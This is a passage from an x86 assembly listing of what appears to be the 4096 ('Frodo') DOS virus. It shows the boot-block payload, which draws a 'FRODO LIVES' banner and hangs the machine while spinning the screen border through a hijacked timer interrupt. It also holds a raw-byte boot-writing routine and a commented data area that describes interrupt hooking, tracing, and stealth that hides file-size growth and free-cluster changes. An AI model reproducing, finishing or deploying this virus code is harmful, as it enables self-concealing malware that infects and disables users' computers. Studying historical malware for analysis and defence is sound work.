  1593.                 db      11111001b,11100000b,11100011b,11000011b,10000000b
  1594.                 db      10000001b,00010001b,00010010b,00100100b,01000000b
  1595.                 db      10000001b,00010001b,00010010b,00100100b,01000000b
  1596.                 db      11110001b,11110001b,00010010b,00100100b,01000000b
  1597.                 db      10000001b,00100001b,00010010b,00100100b,01000000b
  1598.                 db      10000001b,00010000b,11100011b,11000011b,10000000b
  1599.                 db      00000000b,00000000b,00000000b,00000000b,00000000b
  1600.                 db      00000000b,00000000b,00000000b,00000000b,00000000b
  1601.                 db      10000010b,01000100b,11111000b,01110000b,11000000b
  1602.                 db      10000010b,01000100b,10000000b,10001000b,11000000b
  1603.                 db      10000010b,01000100b,10000000b,10000000b,11000000b
  1604.                 db      10000010b,01000100b,11110000b,01110000b,11000000b
  1605.                 db      10000010b,00101000b,10000000b,00001000b,11000000b
  1606.                 db      10000010b,00101000b,10000000b,10001000b,00000000b
  1607.                 db      11110010b,00010000b,11111000b,01110000b,11000000b
  1608. enter_bootblock:
  1609.                 push    cs
  1610.                 pop     ds
  1611.                 mov     dx,0B000h               ; get video page in bh
  1612.                 mov     ah,0Fh                  ; get video mode in al
  1613.                 int     10h                     ; get columns in ah
  1614.  
  1615.                 cmp     al,7                    ; check if colour
  1616.                 je      monochrome
  1617.                 mov     dx,0B800h               ; colour segment
  1618. monochrome:
  1619.                 mov     es,dx                   ; es->video segment
  1620.                 cld
  1621.                 xor     di,di
  1622.                 mov     cx,25*80                ; entire screen
  1623.                 mov     ax,720h                 ; ' ', normal attribute
  1624.                 rep     stosw                   ; clear the screen
  1625.                 mov     si,7C00h+FRODO_LIVES-bootblock
  1626.                 mov     bx,2AEh
  1627. morelinestodisplay:
  1628.                 mov     bp,5
  1629.                 mov     di,bx
  1630. displaymorebackgroundontheline:
  1631.                 lodsb                           ; get background pattern
  1632.                 mov     dh,al
  1633.                 mov     cx,8
  1634.  
  1635. displayinitialbackground:
  1636.                 mov     ax,720h
  1637.                 shl     dx,1
  1638.                 jnc     spacechar
  1639.                 mov     al,'█'
  1640. spacechar:
  1641.                 stosw
  1642.                 loop    displayinitialbackground
  1643.  
  1644.                 dec     bp
  1645.                 jnz     displaymorebackgroundontheline
  1646.                 add     bx,80*2                 ; go to next line
  1647.                 cmp     si,7C00h+enter_bootblock-bootblock
  1648.                 jb      morelinestodisplay
  1649.                 mov     ah,1                    ; set cursor mode to cx
  1650.                 int     10h
  1651.  
  1652.                 mov     al,8                    ; set new int 8 handler
  1653.                 mov     dx,7C00h+int8-bootblock ; to spin border
  1654.                 call    setvect
  1655.                 mov     ax,7FEh                 ; enable timer interrupts only
  1656.                 out     21h,al
  1657.  
  1658.                 sti
  1659.                 xor     bx,bx
  1660.                 mov     cx,1
  1661.                 jmp     short $                 ; loop forever while
  1662.                                                 ; spinning the border
  1663.  
  1664. int8:                                           ; the timer interrupt spins
  1665.                 dec     cx                      ; the border
  1666.                 jnz     endint8
  1667.                 xor     di,di
  1668.                 inc     bx
  1669.                 call    spin_border
  1670.                 call    spin_border
  1671.                 mov     cl,4                    ; wait 4 more ticks until
  1672. endint8:                                        ; next update
  1673.                 mov     al,20h                  ; Signal end of interrupt
  1674.                 out     20h,al
  1675.                 iret
  1676.  
  1677. spin_border:
  1678.                 mov     cx,28h                  ; do 40 characters across
  1679.  
  1680. dohorizontal:
  1681.                 call    lookup_border_char
  1682.                 stosw
  1683.                 stosw
  1684.                 loop    dohorizontal
  1685. patch2:
  1686.                 add     di,9Eh                  ; go to next line
  1687.                 mov     cx,17h                  ; do for next 23 lines
  1688.  
  1689. dovertical:                                     ; handle vertical borders
  1690.                 call    lookup_border_char      ; get border character
  1691.                 stosw                           ; print it on screen
  1692. patch3:
  1693.                 add     di,9Eh                  ; go to next line
  1694.                 loop    dovertical
  1695. patch1:
  1696.                 std
  1697.         ; this code handles the other half of the border
  1698.                 xor     byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
  1699.                 xor     byte ptr ds:[7C00h+patch2-bootblock+1],28h
  1700.                 xor     byte ptr ds:[7C00h+patch3-bootblock+1],28h
  1701.                 retn
  1702.  
  1703.  
  1704. lookup_border_char:
  1705.                 and     bx,3                    ; find corresponding border
  1706.                 mov     al,ds:[bx+7C00h+borderchars-bootblock]
  1707.                 inc     bx                      ; character
  1708.                 retn
  1709.  
  1710.  
  1711. setvect:
  1712.                 push    es
  1713.                 push    bx
  1714.                 xor     bx,bx
  1715.                 mov     es,bx
  1716.                 mov     bl,al                   ; int # to bx
  1717.                 shl     bx,1                    ; int # * 4 = offset in
  1718.                 shl     bx,1                    ; interrupt table
  1719.                 mov     es:[bx],dx              ; set the vector in the
  1720.                 mov     es:[bx+2],ds            ; interrupt table
  1721.                 pop     bx
  1722.                 pop     es
  1723.                 retn
  1724.  
  1725.  
  1726. writebootblock: ; this is an unfinished subroutine; it doesn't work properly
  1727.                 call    replaceint13and24
  1728.                 mov     dl,80h
  1729.                 db      0E8h, 08h, 00h, 32h,0D2h,0E8h
  1730.                 db       03h, 01h, 00h, 9Ah, 0Eh, 32h
  1731.                 db       08h, 70h, 00h, 33h, 0Eh, 2Eh
  1732.                 db       03h, 6Ch, 15h, 03h, 00h, 26h
  1733.                 db       00h, 00h, 00h, 21h, 00h, 50h
  1734.                 db       12h, 65h, 14h, 82h, 08h, 00h
  1735.                 db       0Ch, 9Ah, 0Eh, 56h, 07h, 70h
  1736.                 db       00h, 33h, 0Eh, 2Eh, 03h, 6Ch
  1737.                 db       15h,0E2h, 0Ch, 1Eh, 93h, 00h
  1738.                 db       00h,0E2h, 0Ch, 50h
  1739.  
  1740.                 org 1200h
  1741. readbuffer      dw      ? ; beginning of the read buffer
  1742. lengthMOD512    dw      ? ; EXE header item - length of image modulo 512
  1743. lengthinpages   dw      ? ; EXE header item - length of image in pages
  1744. relocationitems dw      ? ; EXE header item - # relocation items
  1745. headersize      dw      ? ; EXE header item - header size in paragraphs
  1746. minmemory       dw      ? ; EXE header item - minimum memory allocation
  1747. maxmemory       dw      ? ; EXE header item - maximum memory allocation
  1748. initialSS       dw      ? ; EXE header item - initial SS value
  1749. initialSP       dw      ? ; EXE header item - initial SP value
  1750. wordchecksum    dw      ? ; EXE header item - checksum value
  1751. initialIP       dw      ? ; EXE header item - initial IP value
  1752. initialCS       dw      ? ; EXE header item - initial CS value
  1753.                 db      12 dup (?) ; rest of header - unused
  1754. parmblock       dd      ? ; address of parameter block
  1755. filedrive       db      ? ; 0 = default drive
  1756. filetime        dw      ? ; saved file time
  1757. filedate        dw      ? ; saved file date
  1758. origints        dd      ? ; temporary scratch buffer for interrupt vectors
  1759. oldint1         dd      ? ; original interrupt 1 vector
  1760. oldint21        dd      ? ; original interrupt 21h vector
  1761. oldint13        dd      ? ; original interrupt 13h vector
  1762. oldint24        dd      ? ; original interrupt 24h vector
  1763. int13tempCSIP   dd      ? ; stores calling CS:IP of int 13h
  1764. carrierPSP      dw      ? ; carrier file PSP segment
  1765. DOSsegment      dw      ? ; segment of DOS list of lists
  1766. ownerfirstMCB   dw      ? ; owner of the first MCB
  1767. jmpfarptr       db      ? ; 0eah, jmp far ptr
  1768. int21store      dd      ? ; temporary storage for other 4 bytes
  1769.                           ; and for pointer to virus int 21h
  1770. tracemode       db      ? ; trace mode
  1771. instructionstotrace  db ? ; number of instructions to trace
  1772. handletable     dw      28h dup (?) ; array of handles
  1773. handlesleft     db      ? ; entries left in table
  1774. currentPSP      dw      ? ; storage for the current PSP segment
  1775. curfileposlow   dw      ? ; current file pointer location, low word
  1776. curfileposhigh  dw      ? ; current file pointer location, high word
  1777. filesizelow     dw      ? ; current file size, low word
  1778. filesizehigh    dw      ? ; current file size, high word
  1779. savebuffer      dw      ? ; storage for handle read, etc.
  1780. savelength      dw      ? ; functions
  1781. return_code     dw      ? ; returned in AX on exit of int 21h
  1782. int21flags      dw      ? ; storage of int 21h return flags register
  1783. tempFCB         db      25h dup (?) ; copy of the FCB
  1784. errorflag       db      ? ; 0 if no error, 1 if error
  1785. int13flags      dw      ? ; storage of int 13h return flags register
  1786. savess          dw      ? ; temporary storage of stack segment
  1787. savesp          dw      ? ; and stack pointer
  1788. BREAKsave       db      ? ; current BREAK state
  1789. checkres        db      ? ; already installed flag
  1790. initialax       dw      ? ; AX upon entry to carrier
  1791. saveIMR         db      ? ; storage for interrupt mask register
  1792. saveoffset      dw      ? ; temp storage of CS:IP of
  1793. savesegment     dw      ? ; caller to int 21h
  1794. pushpopalltempstore  dw ? ; push/popall caller address
  1795. numfreeclusters dw      ? ; total free clusters
  1796. DOSversion      db      ? ; current DOS version
  1797. hideclustercountchange db ? ; flag of whether to hide free cluster count
  1798. hide_size       db      ? ; hide filesize increase if equal to 0
  1799. copyparmblock   db      0eh dup (?) ; copy of the parameter block
  1800. origsp          dw      ? ; temporary storage of stack pointer
  1801. origss          dw      ? ; and stack segment
  1802. origcsip        dd      ? ; temporary storage of caller CS:IP
  1803. copyfilename    db      50h dup (?) ; copy of filename
  1804. storesp         dw      ? ; temporary storage of stack pointer
  1805. storess         dw      ? ; and stack segment
  1806. stackptr        dw      ? ; register storage stack pointer
  1807. storecall       dw      ? ; temporary storage of function offset
  1808.  
  1809. topstack = 1600h
  1810.  
  1811. _4096           ends
  1812.                 end
  1813.  
  1814.  
  1815.